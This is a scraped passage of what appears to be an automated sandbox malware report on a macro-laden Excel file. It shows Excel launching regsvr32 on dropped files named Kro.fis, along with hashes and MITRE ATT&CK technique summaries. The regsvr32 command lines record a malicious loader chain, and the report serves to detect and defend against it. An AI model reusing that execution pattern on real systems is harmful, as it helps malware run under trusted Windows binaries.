MSIE and Chrome friendly error page -->

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 2492 Parent PID: 584

General

Start time:	14:06:35
Start date:	25/06/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fc50000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: regsvr32.exe PID: 1980 Parent PID: 2492

General

Start time:	14:06:40
Start date:	25/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 ..\Kro.fis
Imagebase:	0xffa70000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: regsvr32.exe PID: 3032 Parent PID: 2492

General

Start time:	14:06:40
Start date:	25/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 ..\Kro.fis1
Imagebase:	0xffa70000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: regsvr32.exe PID: 2244 Parent PID: 2492

General

Start time:	14:06:41
Start date:	25/06/2021
Path:	C:\Windows\System32\regsvr32.exe
Wow64 process (32bit):	false
Commandline:	regsvr32 ..\Kro.fis2
Imagebase:	0xffa70000
File size:	19456 bytes
MD5 hash:	59BCE9F07985F8A4204F4D6554CFF708
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Windows Analysis Report Permission-414467145-06252021.xlsm

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Signature Overview

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "Permission-414467145-06252021.xlsm"

Indicators

Macro 4.0 Code

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: EXCEL.EXE PID: 2492 Parent PID: 584

General

Analysis Process: regsvr32.exe PID: 1980 Parent PID: 2492

General

Analysis Process: regsvr32.exe PID: 3032 Parent PID: 2492

General

Analysis Process: regsvr32.exe PID: 2244 Parent PID: 2492

General

Disassembly

Code Analysis